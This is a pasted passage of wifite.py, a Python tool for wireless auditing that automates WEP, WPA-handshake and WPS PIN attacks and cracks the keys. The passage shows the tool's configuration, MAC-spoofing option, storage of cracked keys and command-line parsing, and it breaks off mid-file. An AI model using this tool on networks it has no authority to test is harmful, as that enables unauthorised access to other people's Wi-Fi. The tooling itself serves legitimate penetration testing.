Advertisement
opexxx

wifite.py

Feb 3rd, 2014
632
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 144.77 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. # -*- coding: utf-8 -*-
  4.  
  5. """
  6.    wifite
  7.  
  8.    author: derv82 at gmail
  9.    author: bwall @botnet_hunter (ballastsec@gmail.com)
  10.    author: drone @dronesec (ballastsec@gmail.com)
  11.  
  12.    Thanks to everyone that contributed to this project.
  13.    If you helped in the past and want your name here, shoot me an email
  14.  
  15.    Licensed under the GNU General Public License Version 2 (GNU GPL v2),
  16.        available at: http://www.gnu.org/licenses/gpl-2.0.txt
  17.  
  18.    (C) 2011 Derv Merkler
  19.  
  20.    Ballast Security additions
  21.    -----------------
  22.     - No longer requires to be root to run -cracked
  23.     - cracked.txt changed to cracked.csv and stored in csv format(easier to read, no \x00s)
  24.         - Backwards compatibility
  25.     - Made a run configuration class to handle globals
  26.     - Added -recrack (shows already cracked APs in the possible targets, otherwise hides them)
  27.     - Changed the updater to grab files from GitHub and not Google Code
  28.      - Use argparse to parse command-line arguments
  29.      - -wepca flag now properly initialized if passed through CLI
  30.      - parse_csv uses python csv library
  31.    -----------------
  32.  
  33.  
  34.    TODO:
  35.  
  36.    Restore same command-line switch names from v1
  37.  
  38.    If device already in monitor mode, check for and, if applicable, use macchanger
  39.  
  40.     WPS
  41.     * Mention reaver automatically resumes sessions
  42.     * Warning about length of time required for WPS attack (*hours*)
  43.     * Show time since last successful attempt
  44.     * Percentage of tries/attempts ?
  45.     * Update code to work with reaver 1.4 ("x" sec/att)
  46.  
  47.     WEP:
  48.     * ability to pause/skip/continue    (done, not tested)
  49.     * Option to capture only IVS packets (uses --output-format ivs,csv)
  50.       - not compatible on older aircrack-ng's.
  51.           - Just run "airodump-ng --output-format ivs,csv", "No interface specified" = works
  52.         - would cut down on size of saved .caps
  53.  
  54.     reaver:
  55.          MONITOR ACTIVITY!
  56.          - Enter ESSID when executing (?)
  57.       - Ensure WPS key attempts have begun.
  58.       - If no attempts can be made, stop attack
  59.  
  60.       - During attack, if no attempts are made within X minutes, stop attack & Print
  61.  
  62.       - Reaver's output when unable to associate:
  63.         [!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF)
  64.       - If failed to associate for x minutes, stop attack (same as no attempts?)
  65.  
  66.    MIGHTDO:
  67.      * WPA - crack (pyrit/cowpatty) (not really important)
  68.      * Test injection at startup? (skippable via command-line switch)
  69.  
  70. """
  71.  
  72. #############
  73. # LIBRARIES #
  74. #############
  75.  
  76. import csv          # Exporting and importing cracked aps
  77. import os         # File management
  78. import time       # Measuring attack intervals
  79. import random     # Generating a random MAC address.
  80. import errno      # Error numbers
  81.  
  82. from sys import argv          # Command-line arguments
  83. from sys import stdout          # Flushing
  84.  
  85. from shutil import copy  # Copying .cap files
  86.  
  87. # Executing, communicating with, killing processes
  88. from subprocess import Popen, call, PIPE
  89. from signal import SIGINT, SIGTERM
  90.  
  91. import re # RegEx, Converting SSID to filename
  92. import argparse # arg parsing
  93. import urllib # Check for new versions from the repo
  94. import abc  # abstract base class libraries for attack templates
  95.  
  96.  
  97. ################################
  98. # GLOBAL VARIABLES IN ALL CAPS #
  99. ################################
  100.  
  101. # Console colors
  102. W  = '\033[0m'  # white (normal)
  103. R  = '\033[31m' # red
  104. G  = '\033[32m' # green
  105. O  = '\033[33m' # orange
  106. B  = '\033[34m' # blue
  107. P  = '\033[35m' # purple
  108. C  = '\033[36m' # cyan
  109. GR = '\033[37m' # gray
  110.  
  111. # /dev/null, send output from programs so they don't print to screen.
  112. DN = open(os.devnull, 'w')
  113. ERRLOG = open(os.devnull, 'w')
  114. OUTLOG = open(os.devnull, 'w')
  115.  
  116. ###################
  117. # DATA STRUCTURES #
  118. ###################
  119.  
  120. class CapFile:
  121.     """
  122.        Holds data about an access point's .cap file, including AP's ESSID & BSSID.
  123.    """
  124.     def __init__(self, filename, ssid, bssid):
  125.         self.filename = filename
  126.         self.ssid = ssid
  127.         self.bssid = bssid
  128.  
  129. class Target:
  130.     """
  131.        Holds data for a Target (aka Access Point aka Router)
  132.    """
  133.     def __init__(self, bssid, power, data, channel, encryption, ssid):
  134.         self.bssid = bssid
  135.         self.power = power
  136.         self.data  = data
  137.         self.channel = channel
  138.         self.encryption = encryption
  139.         self.ssid = ssid
  140.         self.wps = False # Default to non-WPS-enabled router.
  141.         self.key = ''
  142.  
  143. class Client:
  144.     """
  145.        Holds data for a Client (device connected to Access Point/Router)
  146.    """
  147.     def __init__(self, bssid, station, power):
  148.         self.bssid   = bssid
  149.         self.station = station
  150.         self.power   = power
  151.  
  152. class RunConfiguration:
  153.     """
  154.        Configuration for this rounds of attacks
  155.    """
  156.     def __init__(self):
  157.         self.REVISION = 86;
  158.         self.PRINTED_SCANNING       = False
  159.  
  160.         self.TX_POWER = 0 # Transmit power for wireless interface, 0 uses default power
  161.  
  162.         # WPA variables
  163.         self.WPA_DISABLE          = False # Flag to skip WPA handshake capture
  164.         self.WPA_STRIP_HANDSHAKE  = True  # Use pyrit or tshark (if applicable) to strip handshake
  165.         self.WPA_DEAUTH_COUNT     = 5     # Count to send deauthentication packets
  166.         self.WPA_DEAUTH_TIMEOUT   = 10    # Time to wait between deauthentication bursts (in seconds)
  167.         self.WPA_ATTACK_TIMEOUT   = 500   # Total time to allow for a handshake attack (in seconds)
  168.         self.WPA_HANDSHAKE_DIR    = 'hs'  # Directory in which handshakes .cap files are stored
  169.         # Strip file path separator if needed
  170.         if self.WPA_HANDSHAKE_DIR != '' and self.WPA_HANDSHAKE_DIR[-1] == os.sep:
  171.             self.WPA_HANDSHAKE_DIR = self.WPA_HANDSHAKE_DIR[:-1]
  172.  
  173.         self.WPA_FINDINGS         = []    # List of strings containing info on successful WPA attacks
  174.         self.WPA_DONT_CRACK       = False # Flag to skip cracking of handshakes
  175.         self.WPA_DICTIONARY       = '/pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
  176.         if not os.path.exists(self.WPA_DICTIONARY): self.WPA_DICTIONARY = ''
  177.  
  178.         # Various programs to use when checking for a four-way handshake.
  179.         # True means the program must find a valid handshake in order for wifite to recognize a handshake.
  180.         # Not finding handshake short circuits result (ALL 'True' programs must find handshake)
  181.         self.WPA_HANDSHAKE_TSHARK   = True  # Checks for sequential 1,2,3 EAPOL msg packets (ignores 4th)
  182.         self.WPA_HANDSHAKE_PYRIT    = False # Sometimes crashes on incomplete dumps, but accurate.
  183.         self.WPA_HANDSHAKE_AIRCRACK = True  # Not 100% accurate, but fast.
  184.         self.WPA_HANDSHAKE_COWPATTY = False # Uses more lenient "nonstrict mode" (-2)
  185.  
  186.         # WEP variables
  187.         self.WEP_DISABLE         = False # Flag for ignoring WEP networks
  188.         self.WEP_PPS             = 600   # packets per second (Tx rate)
  189.         self.WEP_TIMEOUT         = 600   # Amount of time to give each attack
  190.         self.WEP_ARP_REPLAY      = True  # Various WEP-based attacks via aireplay-ng
  191.         self.WEP_CHOPCHOP        = True  #
  192.         self.WEP_FRAGMENT        = True  #
  193.         self.WEP_CAFFELATTE      = True  #
  194.         self.WEP_P0841           = True
  195.         self.WEP_HIRTE           = True
  196.         self.WEP_CRACK_AT_IVS    = 10000 # Number of IVS at which we start cracking
  197.         self.WEP_IGNORE_FAKEAUTH = True  # When True, continues attack despite fake authentication failure
  198.         self.WEP_FINDINGS        = []    # List of strings containing info on successful WEP attacks.
  199.         self.WEP_SAVE            = False # Save packets.
  200.  
  201.         # WPS variables
  202.         self.WPS_DISABLE         = False # Flag to skip WPS scan and attacks
  203.         self.WPS_FINDINGS        = []    # List of (successful) results of WPS attacks
  204.         self.WPS_TIMEOUT         = 660   # Time to wait (in seconds) for successful PIN attempt
  205.         self.WPS_RATIO_THRESHOLD = 0.01  # Lowest percentage of tries/attempts allowed (where tries > 0)
  206.         self.WPS_MAX_RETRIES     = 0     # Number of times to re-try the same pin before giving up completely.
  207.  
  208.  
  209.         # Program variables
  210.         self.SHOW_ALREADY_CRACKED = False   # Says whether to show already cracked APs as options to crack
  211.         self.WIRELESS_IFACE     = ''    # User-defined interface
  212.         self.TARGET_CHANNEL     = 0     # User-defined channel to scan on
  213.         self.TARGET_ESSID       = ''    # User-defined ESSID of specific target to attack
  214.         self.TARGET_BSSID       = ''    # User-defined BSSID of specific target to attack
  215.         self.IFACE_TO_TAKE_DOWN = ''    # Interface that wifite puts into monitor mode
  216.                                 # It's our job to put it out of monitor mode after the attacks
  217.         self.ORIGINAL_IFACE_MAC = ('', '') # Original interface name[0] and MAC address[1] (before spoofing)
  218.         self.DO_NOT_CHANGE_MAC  = True  # Flag for disabling MAC anonymizer
  219.         self.TARGETS_REMAINING  = 0     # Number of access points remaining to attack
  220.         self.WPA_CAPS_TO_CRACK  = []    # list of .cap files to crack (full of CapFile objects)
  221.         self.THIS_MAC           = ''    # The interfaces current MAC address.
  222.         self.SHOW_MAC_IN_SCAN   = False # Display MACs of the SSIDs in the list of targets
  223.         self.CRACKED_TARGETS    = []    # List of targets we have already cracked
  224.         self.ATTACK_ALL_TARGETS = False # Flag for when we want to attack *everyone*
  225.         self.ATTACK_MIN_POWER   = 0     # Minimum power (dB) for access point to be considered a target
  226.         self.VERBOSE_APS        = True  # Print access points as they appear
  227.         self.CRACKED_TARGETS = self.load_cracked()
  228.         old_cracked = self.load_old_cracked()
  229.         if len(old_cracked) > 0:
  230.             # Merge the results
  231.             for OC in old_cracked:
  232.                 new = True
  233.                 for NC in self.CRACKED_TARGETS:
  234.                     if OC.bssid == NC.bssid:
  235.                         new = False
  236.                         break
  237.                 # If Target isn't in the other list
  238.                 # Add and save to disk
  239.                 if new:
  240.                     self.save_cracked(OC)
  241.  
  242.     def ConfirmRunningAsRoot(self):
  243.         if os.getuid() != 0:
  244.             print R+' [!]'+O+' ERROR:'+G+' wifite'+O+' must be run as '+R+'root'+W
  245.             print R+' [!]'+O+' login as root ('+W+'su root'+O+') or try '+W+'sudo ./wifite.py'+W
  246.             exit(1)
  247.  
  248.     def ConfirmCorrectPlatform(self):
  249.         if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]: # OSX support, 'cause why not?
  250.             print O+' [!]'+R+' WARNING:'+G+' wifite'+W+' must be run on '+O+'linux'+W
  251.             exit(1)
  252.  
  253.     def CreateTempFolder(self):
  254.         from tempfile import mkdtemp
  255.         self.temp = mkdtemp(prefix='wifite')
  256.         if not self.temp.endswith(os.sep):
  257.             self.temp += os.sep
  258.  
  259.     def save_cracked(self, target):
  260.         """
  261.            Saves cracked access point key and info to a file.
  262.        """
  263.         self.CRACKED_TARGETS.append(target)
  264.         with open('cracked.csv', 'wb') as csvfile:
  265.             targetwriter = csv.writer(csvfile, delimiter=',',quotechar='"', quoting=csv.QUOTE_MINIMAL)
  266.             for target in self.CRACKED_TARGETS:
  267.                 targetwriter.writerow([target.bssid, target.encryption, target.ssid, target.key, target.wps])
  268.  
  269.     def load_cracked(self):
  270.         """
  271.            Loads info about cracked access points into list, returns list.
  272.        """
  273.         result = []
  274.         if not os.path.exists('cracked.csv'): return result
  275.         with open('cracked.csv', 'rb') as csvfile:
  276.             targetreader = csv.reader(csvfile, delimiter=',', quotechar='"')
  277.             for row in targetreader:
  278.                 t = Target(row[0], 0, 0, 0, row[1], row[2])
  279.                 t.key = row[3]
  280.                 t.wps = row[4]
  281.                 result.append(t)
  282.         return result
  283.  
  284.     def load_old_cracked(self):
  285.         """
  286.                Loads info about cracked access points into list, returns list.
  287.        """
  288.         result = []
  289.         if not os.path.exists('cracked.txt'):
  290.             return result
  291.         fin = open('cracked.txt', 'r')
  292.         lines = fin.read().split('\n')
  293.         fin.close()
  294.  
  295.         for line in lines:
  296.                 fields = line.split(chr(0))
  297.                 if len(fields) <= 3:
  298.                     continue
  299.                 tar = Target(fields[0], '', '', '', fields[3], fields[1])
  300.                 tar.key = fields[2]
  301.                 result.append(tar)
  302.         return result
  303.  
  304.     def exit_gracefully(self, code=0):
  305.         """
  306.            We may exit the program at any time.
  307.            We want to remove the temp folder and any files contained within it.
  308.            Removes the temp files/folder and exists with error code "code".
  309.        """
  310.         # Remove temp files and folder
  311.         if os.path.exists(self.temp):
  312.             for f in os.listdir(self.temp):
  313.                 os.remove(self.temp + f)
  314.             os.rmdir(self.temp)
  315.         # Disable monitor mode if enabled by us
  316.         self.RUN_ENGINE.disable_monitor_mode()
  317.         # Change MAC address back if spoofed
  318.         mac_change_back()
  319.         print GR+" [+]"+W+" quitting" # wifite will now exit"
  320.         print ''
  321.         # GTFO
  322.         exit(code)
  323.  
  324.     def handle_args(self):
  325.         """
  326.            Handles command-line arguments, sets global variables.
  327.        """
  328.         set_encrypt = False
  329.         set_hscheck = False
  330.         set_wep     = False
  331.         capfile     = ''  # Filename of .cap file to analyze for handshakes
  332.  
  333.         opt_parser = self.build_opt_parser()
  334.         options = opt_parser.parse_args()
  335.  
  336.         try:
  337.             if not set_encrypt and (options.wpa or options.wep or options.wps):
  338.                 self.WPS_DISABLE = True
  339.                 self.WPA_DISABLE = True
  340.                 self.WEP_DISABLE = True
  341.                 set_encrypt = True
  342.             if options.recrack:
  343.                 self.SHOW_ALREADY_CRACKED = True
  344.                 print GR+' [+]'+W+' including already cracked networks in targets.'
  345.             if options.wpa:
  346.                 if options.wps:
  347.                     print GR+' [+]'+W+' targeting '+G+'WPA'+W+' encrypted networks.'
  348.                 else:
  349.                     print GR+' [+]'+W+' targeting '+G+'WPA'+W+' encrypted networks (use '+G+'-wps'+W+' for WPS scan)'
  350.                 self.WPA_DISABLE = False
  351.             if options.wep:
  352.                 print GR+' [+]'+W+' targeting '+G+'WEP'+W+' encrypted networks'
  353.                 self.WEP_DISABLE = False
  354.             if options.wps:
  355.                 print GR+' [+]'+W+' targeting '+G+'WPS-enabled'+W+' networks.'
  356.                 self.WPS_DISABLE = False
  357.             if options.channel:
  358.                 try: self.TARGET_CHANNEL = int(options.channel)
  359.                 except ValueError: print O+' [!]'+R+' invalid channel: '+O+options.channel+W
  360.                 except IndexError: print O+' [!]'+R+' no channel given!'+W
  361.                 else: print GR+' [+]'+W+' channel set to %s' % (G+str(self.TARGET_CHANNEL)+W)
  362.             if options.mac_anon:
  363.                 print GR+' [+]'+W+' mac address anonymizing '+G+'enabled'+W
  364.                 print O+'      not: only works if device is not already in monitor mode!'+W
  365.                 self.DO_NOT_CHANGE_MAC = False
  366.             if options.interface:
  367.                 self.WIRELESS_IFACE = options.interface
  368.                 print GR+' [+]'+W+' set interface :%s' % (G+self.WIRELESS_IFACE+W)
  369.             if options.essid:
  370.                 try: self.TARGET_ESSID = options.essid
  371.                 except ValueError: print R+' [!]'+O+' no ESSID given!'+W
  372.                 else: print GR+' [+]'+W+' targeting ESSID "%s"' % (G+self.TARGET_ESSID+W)
  373.             if options.bssid:
  374.                 try: self.TARGET_BSSID = options.bssid
  375.                 except ValueError: print R+' [!]'+O+' no BSSID given!'+W
  376.                 else: print GR+' [+]'+W+' targeting BSSID "%s"' % (G+self.TARGET_BSSID+W)
  377.             if options.showb:
  378.                 self.SHOW_MAC_IN_SCAN = True
  379.                 print GR+' [+]'+W+' target MAC address viewing '+G+'enabled'+W
  380.             if options.all:
  381.                 self.ATTACK_ALL_TARGETS = True
  382.                 print GR+' [+]'+W+' targeting '+G+'all access points'+W
  383.             if options.power:
  384.                 try: self.ATTACK_MIN_POWER = int(options.power)
  385.                 except ValueError: print R+' [!]'+O+' invalid power level: %s' % (R+options.power+W)
  386.                 except IndexError: print R+' [!]'+O+' no power level given!'+W
  387.                 else: print GR+' [+]'+W+' minimum target power set to %s' % (G+str(self.ATTACK_MIN_POWER)+W)
  388.             if options.tx:
  389.                 try: self.TX_POWER = int(options.tx)
  390.                 except ValueError: print R+' [!]'+O+' invalid TX power leve: %s' % ( R+options.tx+W)
  391.                 except IndexError: print R+' [!]'+O+' no TX power level given!'+W
  392.                 else: print GR+' [+]'+W+' TX power level set to %s' % (G+str(self.TX_POWER)+W)
  393.             if options.quiet:
  394.                 self.VERBOSE_APS = False
  395.                 print GR+' [+]'+W+' list of APs during scan '+O+'disabled'+W
  396.             if options.check:
  397.                 try: capfile = options.check
  398.                 except IndexError:
  399.                     print R+' [!]'+O+' unable to analyze capture file'+W
  400.                     print R+' [!]'+O+' no cap file given!\n'+W
  401.                     self.exit_gracefully(1)
  402.                 else:
  403.                     if not os.path.exists(capfile):
  404.                         print R+' [!]'+O+' unable to analyze capture file!'+W
  405.                         print R+' [!]'+O+' file not found: '+R+capfile+'\n'+W
  406.                         self.exit_gracefully(1)
  407.             if options.update:
  408.                 self.upgrade()
  409.                 exit(0)
  410.             if options.cracked:
  411.                 if len(self.CRACKED_TARGETS) == 0:
  412.                     print R+' [!]'+O+' There are no cracked access points saved to '+R+'cracked.db\n'+W
  413.                     self.exit_gracefully(1)
  414.                 print GR+' [+]'+W+' '+W+'previously cracked access points'+W+':'
  415.                 for victim in self.CRACKED_TARGETS:
  416.                     if victim.wps != False:
  417.                         print '     %s (%s) : "%s" - Pin: %s' % (C+victim.ssid+W, C+victim.bssid+W, G+victim.key+W, G+victim.wps+W)
  418.                     else:
  419.                         print '     %s (%s) : "%s"' % (C+victim.ssid+W, C+victim.bssid+W, G+victim.key+W)
  420.                 print ''
  421.                 self.exit_gracefully(0)
  422.             # WPA
  423.             if not set_hscheck and (options.tshark or options.cowpatty or options.aircrack or options.pyrit):
  424.                 self.WPA_HANDSHAKE_TSHARK = False
  425.                 self.WPA_HANDSHAKE_PYRIT = False
  426.                 self.WPA_HANDSHAKE_COWPATTY = False
  427.                 self.WPA_HANDSHAKE_AIRCRACK = False
  428.                 set_hscheck = True
  429.             if options.strip:
  430.                 self.WPA_STRIP_HANDSHAKE = True
  431.                 print GR+' [+]'+W+' handshake stripping '+G+'enabled'+W
  432.             if options.wpadt:
  433.                 try: self.WPA_DEAUTH_TIMEOUT = int(options.wpadt)
  434.                 except ValueError: print R+' [!]'+O+' invalid deauth timeout: %s' % (R+options.wpadt+W)
  435.                 except IndexError: print R+' [!]'+O+' no deauth timeout given!'+W
  436.                 else: print GR+' [+]'+W+' WPA deauth timeout set to %s' % (G+str(self.WPA_DEAUTH_TIMEOUT)+W)
  437.             if options.wpat:
  438.                 try: self.WPA_ATTACK_TIMEOUT = int(options.wpat)
  439.                 except ValueError: print R+' [!]'+O+' invalid attack timeout: %s' % (R+options.wpat+W)
  440.                 except IndexError: print R+' [!]'+O+' no attack timeout given!'+W
  441.                 else: print GR+' [+]'+W+' WPA attack timeout set to %s' % (G+str(self.WPA_ATTACK_TIMEOUT)+W)
  442.             if options.crack:
  443.                 self.WPA_DONT_CRACK = False
  444.                 print GR+' [+]'+W+' WPA cracking '+G+'enabled'+W
  445.                 if options.dic:
  446.                     try: self.WPA_DICTIONARY = options.dic
  447.                     except IndexError: print R+' [!]'+O+' no WPA dictionary given!'
  448.                     else:
  449.                         if os.path.exists(options.dic):
  450.                             print GR+' [+]'+W+' WPA dictionary set to %s' % (G + self.WPA_DICTIONARY + W)
  451.                         else:
  452.                             print R+' [!]'+O+' WPA dictionary file not found: %s' % (options.dic)
  453.                 else:
  454.                     print R+' [!]'+O+' WPA dictionary file not given!'
  455.                     self.exit_gracefully(1)
  456.             if options.tshark:
  457.                 self.WPA_HANDSHAKE_TSHARK = True
  458.                 print GR+' [+]'+W+' tshark handshake verification '+G+'enabled'+W
  459.             if options.pyrit:
  460.                 self.WPA_HANDSHAKE_PYRIT = True
  461.                 print GR+' [+]'+W+' pyrit handshake verification '+G+'enabled'+W
  462.             if options.aircrack:
  463.                 self.WPA_HANDSHAKE_AIRCRACK = True
  464.                 print GR+' [+]'+W+' aircrack handshake verification '+G+'enabled'+W
  465.             if options.cowpatty:
  466.                 self.WPA_HANDSHAKE_COWPATTY = True
  467.                 print GR+' [+]'+W+' cowpatty handshake verification '+G+'enabled'+W
  468.  
  469.             # WEP
  470.             if not set_wep and options.chopchop or options.fragment or options.caffeelatte or options.arpreplay \
  471.                                                 or options.p0841 or options.hirte:
  472.                 self.WEP_CHOPCHOP   = False
  473.                 self.WEP_ARPREPLAY  = False
  474.                 self.WEP_CAFFELATTE = False
  475.                 self.WEP_FRAGMENT   = False
  476.                 self.WEP_P0841      = False
  477.                 self.WEP_HIRTE      = False
  478.             if options.chopchop:
  479.                 print GR+' [+]'+W+' WEP chop-chop attack '+G+'enabled'+W
  480.                 self.WEP_CHOPCHOP = True
  481.             if options.fragment:
  482.                 print GR+' [+]'+W+' WEP fragmentation attack '+G+'enabled'+W
  483.                 self.WEP_FRAGMENT = True
  484.             if options.caffeelatte:
  485.                 print GR+' [+]'+W+' WEP caffe-latte attack '+G+'enabled'+W
  486.                 self.WEP_CAFFELATTE = True
  487.             if options.arpreplay:
  488.                 print GR+' [+]'+W+' WEP arp-replay attack '+G+'enabled'+W
  489.                 self.WEP_ARPREPLAY = True
  490.             if options.p0841:
  491.                 print GR+' [+]'+W+' WEP p0841 attack '+G+'enabled'+W
  492.                 self.WEP_P0841 = True
  493.             if options.hirte:
  494.                 print GR+' [+]'+W+' WEP hirte attack '+G+'enabled'+W
  495.                 self.WEP_HIRTE = True
  496.             if options.fakeauth:
  497.                 print GR+' [+]'+W+' ignoring failed fake-authentication '+R+'disabled'+W
  498.                 self.WEP_IGNORE_FAKEAUTH = False
  499.             if options.wepca:
  500.                 try: self.WEP_CRACK_AT_IVS = int(options.wepca)
  501.                 except ValueError: print R+' [!]'+O+' invalid number: %s' % ( R+options.wepca+W )
  502.                 except IndexError: print R+' [!]'+O+' no IV number specified!'+W
  503.                 else: print GR+' [+]'+W+' Starting WEP cracking when IV\'s surpass %s' % (G+str(self.WEP_CRACK_AT_IVS)+W)
  504.             if options.wept:
  505.                 try: self.WEP_TIMEOUT = int(options.wept)
  506.                 except ValueError: print R+' [!]'+O+' invalid timeout: %s' % (R+options.wept+W)
  507.                 except IndexError: print R+' [!]'+O+' no timeout given!'+W
  508.                 else: print GR+' [+]'+W+' WEP attack timeout set to %s' % (G+str(self.WEP_TIMEOUT) + " seconds"+W)
  509.             if options.pps:
  510.                 try: self.WEP_PPS = int(options.pps)
  511.                 except ValueError: print R+' [!]'+O+' invalid value: %s' % (R+options.pps+W)
  512.                 except IndexError: print R+' [!]'+O+' no value given!'+W
  513.                 else: print GR+' [+]'+W+' packets-per-second rate set to %s' % (G+str(options.pps) + " packets/sec"+W)
  514.             if options.wepsave:
  515.                 self.WEP_SAVE = True
  516.                 print GR+' [+]'+W+' WEP .cap file saving '+G+'enabled'+W
  517.  
  518.             # WPS
  519.             if options.wpst:
  520.                 try: self.WPS_TIMEOUT = int(options.wpst)
  521.                 except ValueError: print R+' [!]'+O+' invalid timeout: %s' % (R+options.wpst+W)
  522.                 except IndexError: print R+' [!]'+O+' no timeout given!'+W
  523.                 else: print GR+' [+]'+W+' WPS attack timeout set to %s' % (G+str(self.WPS_TIMEOUT)+ " seconds"+W)
  524.             if options.wpsratio:
  525.                 try: self.WPS_RATIO_THRESHOLD = float(options.wpsratio)
  526.                 except ValueError: print R+' [!]'+O+' invalid percentage: %s' % (R+options.wpsratio+W)
  527.                 except IndexError: print R+' [!]'+O+' no ratio given!'+W
  528.                 else: print GR+' [+]'+W+' minimum WPS tries/attempts threshold set to %s' % (G+str(self.WPS_RATIO_THRESHOLD)+""+W)
  529.             if options.wpsretry:
  530.                 try: self.WPS_MAX_RETRIES = int(options.wpsretry)
  531.                 except ValueError: print R+' [!]'+O+' invalid number: %s' % (R+options.wpsretry+W)
  532.                 except IndexError: print R+' [!]'+O+' no number given!'+W
  533.                 else: print GR+' [+]'+W+' WPS maximum retries set to %s' % (G+str(self.WPS_MAX_RETRIES) + " retries"+W)
  534.  
  535.         except IndexError:
  536.             print '\nindexerror\n\n'
  537.  
  538.         if capfile != '':
  539.             self.RUN_ENGINE.analyze_capfile(capfile)
  540.         print ''
  541.  
  542.     def build_opt_parser(self):
  543.         """ Options are doubled for backwards compatability; will be removed soon and
  544.             fully moved to GNU-style
  545.        """
  546.         option_parser = argparse.ArgumentParser()
  547.  
  548.         # set commands
  549.         command_group = option_parser.add_argument_group('COMMAND')
  550.         command_group.add_argument('--check', help='Check capfile [file] for handshakes.', action='store', dest='check')
  551.         command_group.add_argument('-check', action='store', dest='check', help=argparse.SUPPRESS)
  552.         command_group.add_argument('--cracked', help='Display previously cracked access points.', action='store_true', dest='cracked')
  553.         command_group.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked')
  554.         command_group.add_argument('--recrack', help='Include already cracked networks in targets.', action='store_true', dest='recrack')
  555.         command_group.add_argument('-recrack', help=argparse.SUPPRESS, action='store_true', dest='recrack')
  556.  
  557.         # set global
  558.         global_group = option_parser.add_argument_group('GLOBAL')
  559.         global_group.add_argument('--all', help='Attack all targets.', default=False, action='store_true', dest='all')
  560.         global_group.add_argument('-all', help=argparse.SUPPRESS, default=False, action='store_true', dest='all')
  561.         global_group.add_argument('-i', help='Wireless interface for capturing.', action='store', dest='interface')
  562.         global_group.add_argument('--mac', help='Anonymize MAC address.', action='store_true', default=False, dest='mac_anon')
  563.         global_group.add_argument('-mac', help=argparse.SUPPRESS, action='store_true', default=False, dest='mac_anon')
  564.         global_group.add_argument('-c', help='Channel to scan for targets.', action='store', dest='channel')
  565.         global_group.add_argument('-e', help='Target a specific access point by ssid (name).', action='store', dest='essid')
  566.         global_group.add_argument('-b', help='Target a specific access point by bssid (mac).', action='store', dest='bssid')
  567.         global_group.add_argument('--showb', help='Display target BSSIDs after scan.', action='store_true', dest='showb')
  568.         global_group.add_argument('-showb', help=argparse.SUPPRESS, action='store_true', dest='showb')
  569.         global_group.add_argument('--power', help='Attacks any targets with signal strength > [pow].',action='store',dest='power')
  570.         global_group.add_argument('-power', help=argparse.SUPPRESS,action='store',dest='power')
  571.         global_group.add_argument('--tx', help='Set adapter TX power level.', action='store', dest='tx')
  572.         global_group.add_argument('-tx', help=argparse.SUPPRESS, action='store', dest='tx')
  573.         global_group.add_argument('--quiet', help='Do not print list of APs during scan.', action='store_true', dest='quiet')
  574.         global_group.add_argument('-quiet', help=argparse.SUPPRESS, action='store_true', dest='quiet')
  575.         global_group.add_argument('--update', help='Check and update Wifite.', default=False,action='store_true', dest='update')
  576.         global_group.add_argument('-update', help=argparse.SUPPRESS, default=False,action='store_true', dest='update')
  577.         # set wpa commands
  578.         wpa_group = option_parser.add_argument_group( 'WPA')
  579.         wpa_group.add_argument('--wpa', help='Only target WPA networks (works with --wps --wep).', default=False,action='store_true', dest='wpa')
  580.         wpa_group.add_argument('-wpa', help=argparse.SUPPRESS, default=False,action='store_true', dest='wpa')
  581.         wpa_group.add_argument('--wpat', help='Time to wait for WPA attack to complete (seconds).', action='store', dest='wpat')
  582.         wpa_group.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpat')
  583.         wpa_group.add_argument('--wpadt', help='Time to wait between sending deauth packets (seconds).', action='store', dest='wpadt')
  584.         wpa_group.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpadt')
  585.         wpa_group.add_argument('--strip', help='Strip handshake using tshark or pyrit.', default=False, action='store_true', dest='strip')
  586.         wpa_group.add_argument('-strip', help=argparse.SUPPRESS, default=False, action='store_true', dest='strip')
  587.         wpa_group.add_argument('--crack', help='Crack WPA handshakes using [dic] wordlist file.', action='store_true', dest='crack')
  588.         wpa_group.add_argument('-crack', help=argparse.SUPPRESS, action='store_true', dest='crack')
  589.         wpa_group.add_argument('--dict', help='Specificy dictionary to use when cracking WPA.', action='store', dest='dic')
  590.         wpa_group.add_argument('-dict', help=argparse.SUPPRESS, action='store', dest='dic')
  591.         wpa_group.add_argument('--aircrack', help='Verify handshake using aircrack.', default=False, action='store_true', dest='aircrack')
  592.         wpa_group.add_argument('-aircrack', help=argparse.SUPPRESS, default=False, action='store_true', dest='aircrack')
  593.         wpa_group.add_argument('--pyrit', help='Verify handshake using pyrit.', default=False, action='store_true', dest='pyrit')
  594.         wpa_group.add_argument('-pyrit', help=argparse.SUPPRESS,default=False, action='store_true', dest='pyrit')
  595.         wpa_group.add_argument('--tshark', help='Verify handshake using tshark.', default=False, action='store_true', dest='tshark')
  596.         wpa_group.add_argument('-tshark', help=argparse.SUPPRESS, default=False, action='store_true', dest='tshark')
  597.         wpa_group.add_argument('--cowpatty', help='Verify handshake using cowpatty.', default=False, action='store_true', dest='cowpatty')
  598.         wpa_group.add_argument('-cowpatty', help=argparse.SUPPRESS, default=False, action='store_true', dest='cowpatty')
  599.         # set WEP commands
  600.         wep_group = option_parser.add_argument_group('WEP')
  601.         wep_group.add_argument('--wep', help='Only target WEP networks.', default=False, action='store_true', dest='wep')
  602.         wep_group.add_argument('-wep', help=argparse.SUPPRESS, default=False, action='store_true', dest='wep')
  603.         wep_group.add_argument('--pps', help='Set the number of packets per second to inject.', action='store', dest='pps')
  604.         wep_group.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='pps')
  605.         wep_group.add_argument('--wept', help='Sec to wait for each attack, 0 implies endless.', action='store', dest='wept')
  606.         wep_group.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wept')
  607.         wep_group.add_argument('--chopchop', help='Use chopchop attack.', default=False, action='store_true', dest='chopchop')
  608.         wep_group.add_argument('-chopchop', help=argparse.SUPPRESS, default=False, action='store_true', dest='chopchop')
  609.         wep_group.add_argument('--arpreplay', help='Use arpreplay attack.', default=False, action='store_true', dest='arpreplay')
  610.         wep_group.add_argument('-arpreplay', help=argparse.SUPPRESS, default=False, action='store_true', dest='arpreplay')
  611.         wep_group.add_argument('--fragment', help='Use fragmentation attack.', default=False, action='store_true', dest='fragment')
